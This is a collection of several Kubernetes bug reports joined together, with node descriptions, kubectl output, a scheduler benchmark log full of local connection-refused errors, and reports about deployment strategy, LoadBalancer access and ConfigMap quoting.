sat, 28 oct 2017 13:31:26 -0400   sat, 28 oct 2017 11:36:04 -0400   kubeletready                 kubelet is posting ready status\r addresses:\r   internalip:   172.40.152.230\r   externalip:   184.73.56.196\r   internaldns:  ip-172-40-152-230.ec2.internal\r   externaldns:  ec2-184-73-56-196.compute-1.amazonaws.com\r   hostname:     ip-172-40-152-230.ec2.internal\r capacity:\r  cpu:     2\r  memory:  15661484ki\r  pods:    110\r allocatable:\r  cpu:     2\r  memory:  15559084ki\r  pods:    110\r system info:\r  machine id:                 93adb08d1c8c45649dde1103d3b180d5\r  system uuid:                ec2c5622-2c78-a650-70c1-809d4004a429\r  boot id:                    8512bb64-071e-4c7e-8f9b-4f5bedafc43a\r  kernel version:             4.4.78-k8s\r  os image:                   debian gnu/linux 8  jessie \r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://1.12.6\r  kubelet version:            v1.7.2\r  kube-proxy version:         v1.7.2\r podcidr:                     100.160.16.0/24\r externalid:                  i-08f12125cf22b13f3\r non-terminated pods:          3 in total \r   namespace                  name                                         cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                                         ------------  ----------  ---------------  -------------\r   kube-system                infra-filebeat-mkl8p                         40m  2%       50m  2%     40mi  0%         50mi  0% \r   kube-system                infra-telegraf-84vrp                         100m  5%      1  50%      256mi  1%        2gi  13% \r   kube-system                kube-proxy-ip-172-40-152-230.ec2.internal    100m  5%      0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits   memory requests  memory limits\r   ------------  ----------   ---------------  -------------\r   240m  12%     1050m  52%   296mi  1%        2098mi  13% \r events:         <none>\r    \r output of kubectl get node -l pmx=run\r    \r name                             status    roles     age       version\r ip-172-40-147-198.ec2.internal   ready     node      1h        v1.7.2\r ip-172-40-152-230.ec2.internal   ready     node      1h        v1.7.2\r ip-172-40-74-150.ec2.internal    ready     node      30d       v1.7.2\r    \r output of kubectl get po -l app=pmx-report\r    \r pmx-report-2477-8m0r2                     1/1       running   0          19h\r pmx-report-2503-cb2lb                     1/1       running   0          1h\r pmx-report-2514-j0gxl                     0/1       pending   0          4s\r    \r   what you expected to happen  :\r the pod should be scheduled on the node and run.\r \r   environment  :\r    \r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r \r

   \r   what happened  :\r \r created a deployment with strategy.type=recreate. deleted a pod created by that deployment. ran kubectl get pods. see the old pod being terminated and a new one being created.\r \r this is an issue for pods that should only have one running instance.\r \r also same problem when using rollingupdate strategy with maxsurge=0 and maxunavailable=1.\r \r   what you expected to happen  :\r \r expected for kubernetes to wait for the old pod to be completely terminated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r should be easy to reproduce with a pod that takes a while to terminate.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.11-gke.1\ , gitcommit:\ 3500f53730c1fea7b57901977df165c3eb317bce\ , gittreestate:\ clean\ , builddate:\ 2017-12-08t18:05:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: gcp\r

http://k8s-testgrid.appspot.com/sig-release-master-blocking kubelet\r \r looks like the job has multiple flaky tests :-\\\r \r  /  /status approved-for-milestone\r \r cc @jdumars @jberkus \r @random-liu @yguo0905 @dashpole @yujuhong any clue :smirk: ?

k8s version: 1.9.3\r centos 7.2.1511\r docker 17.03.2-ce\r \r    \r   pwd\r /export/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r   run_benchmark=true ./test-performance.sh\r /export/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf /export/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp/tmp.qa9qql0o8k --listen-client-urls http://127.0.0.1:2379 --debug > \ /dev/null\  2>/dev/null\r waiting for etcd to come up.\r +++  0322 11:27:19  on try 2, etcd: : http://127.0.0.1:2379\r {\ action\ :\ set\ ,\ node\ :{\ key\ :\ /_test\ ,\ value\ :\ \ ,\ modifiedindex\ :4,\ createdindex\ :4}}\r +++  0322 11:27:19  performance test  benchmark  compiling\r sleep 99999999999\r +++  0322 11:28:13  performance test  benchmark  start\r goos: linux\r goarch: amd64\r pkg: k8s.io/kubernetes/test/integration/scheduler_perf\r benchmarkscheduling100nodes0pods-32        \te0322 11:28:23.843149    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:28:27.248899    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:28:30.655371    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:28:33.844246    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:28:34.181837    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:28:35.342934    4565 event.go:209  unable to write event: 'post http://127.0.0.1:25459/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:25459: getsockopt: connection refused'  may retry after sleeping \r e0322 11:28:37.249844    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:28:37.712392    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r     2000\t    795699 ns/op\r e0322 11:28:40.138958    4565 event.go:209  unable to write event: 'post http://127.0.0.1:2621/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:2621: getsockopt: connection refused'  may retry after sleeping \r e0322 11:28:40.656398    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:28:41.354743    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:28:42.608067    4565 event.go:209  unable to write event: 'post http://127.0.0.1:25459/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:25459: getsockopt: connection refused'  may retry after sleeping \r e0322 11:28:43.845050    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:28:44.182717    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r benchmarkscheduling100nodes1000pods-32     \te0322 11:28:45.179669    4565 event.go:209  unable to write event: 'post http://127.0.0.1:2621/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:2621: getsockopt: connection refused'  may retry after sleeping \r e0322 11:28:45.428257    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:2621/api/v1/namespaces: dial tcp 127.0.0.1:2621: getsockopt: connection refused\r e0322 11:28:47.251163    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:28:47.713442    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:28:50.233821    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:24131/api/v1/namespaces: dial tcp 127.0.0.1:24131: getsockopt: connection refused\r e0322 11:28:50.657268    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:28:51.355952    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:28:52.608856    4565 event.go:209  unable to write event: 'post http://127.0.0.1:25459/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:25459: getsockopt: connection refused'  may retry after sleeping \r e0322 11:28:53.846015    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:28:54.183609    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:28:54.919579    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:32769/api/v1/namespaces: dial tcp 127.0.0.1:32769: getsockopt: connection refused\r e0322 11:28:55.180428    4565 event.go:209  unable to write event: 'post http://127.0.0.1:2621/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:2621: getsockopt: connection refused'  may retry after sleeping \r e0322 11:28:55.429037    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:2621/api/v1/namespaces: dial tcp 127.0.0.1:2621: getsockopt: connection refused\r e0322 11:28:57.251856    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:28:57.524598    4565 runners.go:999  error while creating pod, maybe retry: <nil>\r e0322 11:28:57.714311    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:28:59.634077    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18719/api/v1/namespaces: dial tcp 127.0.0.1:18719: getsockopt: connection refused\r e0322 11:29:00.234916    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:24131/api/v1/namespaces: dial tcp 127.0.0.1:24131: getsockopt: connection refused\r e0322 11:29:00.658125    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:29:01.357120    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:29:02.609380    4565 event.go:209  unable to write event: 'post http://127.0.0.1:25459/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:25459: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:03.630704    4565 event.go:209  unable to write event: 'post http://127.0.0.1:18765/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:18765: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:03.846823    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:29:04.184927    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:29:04.340504    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:26547/api/v1/namespaces: dial tcp 127.0.0.1:26547: getsockopt: connection refused\r e0322 11:29:04.920296    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:32769/api/v1/namespaces: dial tcp 127.0.0.1:32769: getsockopt: connection refused\r e0322 11:29:05.181034    4565 event.go:209  unable to write event: 'post http://127.0.0.1:2621/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:2621: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:05.430109    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:2621/api/v1/namespaces: dial tcp 127.0.0.1:2621: getsockopt: connection refused\r e0322 11:29:05.765616    4565 event.go:209  unable to write event: 'post http://127.0.0.1:18765/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:18765: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:07.252861    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:29:07.715017    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:29:08.956907    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18765/api/v1/namespaces: dial tcp 127.0.0.1:18765: getsockopt: connection refused\r e0322 11:29:08.961064    4565 event.go:209  unable to write event: 'post http://127.0.0.1:15657/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:15657: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:09.635265    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18719/api/v1/namespaces: dial tcp 127.0.0.1:18719: getsockopt: connection refused\r e0322 11:29:10.235991    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:24131/api/v1/namespaces: dial tcp 127.0.0.1:24131: getsockopt: connection refused\r e0322 11:29:10.659002    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:29:11.358145    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:29:12.609820    4565 event.go:209  unable to write event: 'post http://127.0.0.1:25459/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:25459: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:13.738002    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:15657/api/v1/namespaces: dial tcp 127.0.0.1:15657: getsockopt: connection refused\r e0322 11:29:13.844240    4565 controller.go:162  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:29:13.844920    4565 controller.go:162  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:29:13.847560    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:29:14.185781    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:29:14.341196    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:26547/api/v1/namespaces: dial tcp 127.0.0.1:26547: getsockopt: connection refused\r e0322 11:29:14.921105    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:32769/api/v1/namespaces: dial tcp 127.0.0.1:32769: getsockopt: connection refused\r     2000\t    822755 ns/op\r e0322 11:29:14.989307    4565 event.go:209  unable to write event: 'post http://127.0.0.1:27979/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:27979: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:15.181790    4565 event.go:209  unable to write event: 'post http://127.0.0.1:2621/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:2621: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:15.431240    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:2621/api/v1/namespaces: dial tcp 127.0.0.1:2621: getsockopt: connection refused\r e0322 11:29:15.766418    4565 event.go:209  unable to write event: 'post http://127.0.0.1:18765/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:18765: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:16.084823    4565 event.go:209  unable to write event: 'post http://127.0.0.1:15657/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:15657: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:17.250442    4565 controller.go:162  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:29:17.251306    4565 controller.go:162  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:29:17.253776    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:29:17.716252    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:29:18.957750    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18765/api/v1/namespaces: dial tcp 127.0.0.1:18765: getsockopt: connection refused\r e0322 11:29:19.107509    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:27979/api/v1/namespaces: dial tcp 127.0.0.1:27979: getsockopt: connection refused\r e0322 11:29:19.636255    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18719/api/v1/namespaces: dial tcp 127.0.0.1:18719: getsockopt: connection refused\r e0322 11:29:20.236838    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:24131/api/v1/namespaces: dial tcp 127.0.0.1:24131: getsockopt: connection refused\r e0322 11:29:20.656453    4565 controller.go:162  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:29:20.656971    4565 controller.go:162  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:29:20.659754    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:29:21.359049    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:29:21.424500    4565 event.go:209  unable to write event: 'post http://127.0.0.1:27979/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:27979: getsockopt: connection refused'  may retry after sleeping \r benchmarkscheduling1000nodes0pods-32       \t       1\t2128556970 ns/op\r e0322 11:29:22.610648    4565 event.go:209  unable to write event: 'post http://127.0.0.1:25459/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:25459: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:23.738986    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:15657/api/v1/namespaces: dial tcp 127.0.0.1:15657: getsockopt: connection refused\r e0322 11:29:23.848616    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13163/api/v1/namespaces: dial tcp 127.0.0.1:13163: getsockopt: connection refused\r e0322 11:29:24.183146    4565 controller.go:162  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:29:24.183874    4565 controller.go:162  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:29:24.186597    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:23312/api/v1/namespaces: dial tcp 127.0.0.1:23312: getsockopt: connection refused\r e0322 11:29:24.342244    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:26547/api/v1/namespaces: dial tcp 127.0.0.1:26547: getsockopt: connection refused\r e0322 11:29:24.921943    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:32769/api/v1/namespaces: dial tcp 127.0.0.1:32769: getsockopt: connection refused\r e0322 11:29:25.135569    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:8970/api/v1/namespaces: dial tcp 127.0.0.1:8970: getsockopt: connection refused\r e0322 11:29:25.182292    4565 event.go:209  unable to write event: 'post http://127.0.0.1:2621/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:2621: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:25.432318    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:2621/api/v1/namespaces: dial tcp 127.0.0.1:2621: getsockopt: connection refused\r e0322 11:29:25.767084    4565 event.go:209  unable to write event: 'post http://127.0.0.1:18765/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:18765: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:26.086406    4565 event.go:209  unable to write event: 'post http://127.0.0.1:15657/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:15657: getsockopt: connection refused'  may retry after sleeping \r e0322 11:29:27.254519    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18322/api/v1/namespaces: dial tcp 127.0.0.1:18322: getsockopt: connection refused\r e0322 11:29:27.713267    4565 controller.go:162  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:29:27.713782    4565 controller.go:162  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:29:27.716869    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:13363/api/v1/namespaces: dial tcp 127.0.0.1:13363: getsockopt: connection refused\r e0322 11:29:28.958694    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18765/api/v1/namespaces: dial tcp 127.0.0.1:18765: getsockopt: connection refused\r e0322 11:29:29.108347    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:27979/api/v1/namespaces: dial tcp 127.0.0.1:27979: getsockopt: connection refused\r e0322 11:29:29.637526    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:18719/api/v1/namespaces: dial tcp 127.0.0.1:18719: getsockopt: connection refused\r e0322 11:29:30.237839    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:24131/api/v1/namespaces: dial tcp 127.0.0.1:24131: getsockopt: connection refused\r e0322 11:29:30.660731    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:7911/api/v1/namespaces: dial tcp 127.0.0.1:7911: getsockopt: connection refused\r e0322 11:29:31.355636    4565 controller.go:162  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:29:31.356405    4565 controller.go:162  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:29:31.359809    4565 controller.go:175  unable to sync kubernetes service: post http://127.0.0.1:25459/api/v1/namespaces: dial tcp 127.0.0.1:25459: getsockopt: connection refused\r e0322 11:29:31.424955    4565 event.go:209  unable to write event: 'post http://127.0.0.1:27979/api/v1/namespaces/sched-test/events: dial tcp 127.0.0.1:27979: getsockopt: connection refused'  may retry after sleeping \r benchmarkscheduling1000nodes1000pods-32    \t       1\t2082438985 ns/op\r pass\r +++  0322 11:29:32  ...benchmark tests finished\r +++  0322 11:29:32  performance test  density  start\r 0s\trate: 78\ttotal: 78  qps frequency: map 78:1  \r 1s\trate: 680\ttotal: 758  qps frequency: map 78:1 680:1  \r 2s\trate: 600\ttotal: 1358  qps frequency: map 78:1 680:1 600:1  \r 3s\trate: 603\ttotal: 1961  qps frequency: map 78:1 680:1 600:1 603:1  \r 4s\trate: 600\ttotal: 2561  qps frequency: map 78:1 680:1 600:2 603:1  \r scheduled 3000 pods in 5 seconds  600 per second on average . min qps was 78\r warning: pod scheduling throughput for 3k pods was slow for an interval... saw a interval with very low  78  scheduling rate!pass\r ok  \tk8s.io/kubernetes/test/integration/scheduler_perf\t8.809s\r +++  0322 11:30:33  ...density tests finished\r /export/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r +++  0322 11:30:33  performance test cleanup complete\r    \r \r why are there many errors about ports of 127.0.0.1 ? is this port apiserver's port?\r \r  @kubernetes/sig-scheduling-bugs\r \r  \r

  \r \r \r   what happened  :\r i have deployed two loadbalancers on kubernetes and cant access it from external network.\r service/nginx-ingress           loadbalancer   10.101.106.224   <pending>     80:31028/tcp,443:31016/tcp   12m\r service/node-hello              loadbalancer   10.98.249.19     <pending>     8080:30004/tcp               3s\r both have external-ip <pending>\r i am trying to access it using serverip:30004 from the browser, but getting this site can’t be reached: err_connection_refused \r \r --2018-04-30 17:04:35--  http://localhost:8080/\r resolving localhost  localhost ... ::1, 127.0.0.1\r connecting to localhost  localhost |::1|:8080... failed: connection refused.\r connecting to localhost  localhost |127.0.0.1|:8080... failed: connection refused.\r \r and also when i am trying to run \ kubectl proxy\  it stuck like this:\r kubectl proxy\r starting to serve on 127.0.0.1:8001\r \r is it a problem with server not allow to expose the port or configuration missing? \r \r   what you expected to happen  :\r get response from the service, access kubernetes dashboard using server host name/ip address\r \r   how to reproduce it  as minimally and precisely as possible   :\r as described in \ what happened\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu bionic beaver  development branch \ \r version_id=\ 18.04\ \r \r - kernel  e.g.  uname -a  :\r 4.15.0-19-generic\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : configmap from input file creates quoted contents instead of key/value pair\r \r   what you expected to happen  : configmap should create with key/value pair \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r sample config file\r the comment made were ending with a \\<space\\>\\<newline\\>   removing space from the end of the comment will give desired output \r    \r $ cat config.txt\r   this is a sample config file that i might use to configure an application  \r parameter1 = value1\r parameter2 = value2\r    \r create a config map with this file \r    \r $ kubectl create configmap my-config --from-file=config.txt\r    \r now we can see all the file contents were placed inside quotes instead of storing as key/value pair\r    \r $ kubectl get configmap/my-config -o yaml\r apiversion: v1\r data:\r   config.txt: \   this is a sample config file that i might use to configure an application\r     \ parameter1 = value1\ parameter2 = value2\ \ \r kind: configmap\r metadata:\r   creationtimestamp: 2018-08-18t15:08:43z\r   name: my-config\r   namespace: default\r   resourceversion: \ 70812\ \r   selflink: /api/v1/namespaces/default/configmaps/my-config\r   uid: 9905430b-a2f8-11e8-a453-08002702a19b\r    \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  virtualbox vm   one master + 4 minions   \r - os  e.g. from /etc/os-release :   ubuntu 16.04.5 lts  xenial xerus  \r - kernel  e.g.  uname -a  :  linux k8s-master01 4.4.0-133-generic  159-ubuntu smp fri aug 10 07:31:43 utc 2018 x86_64 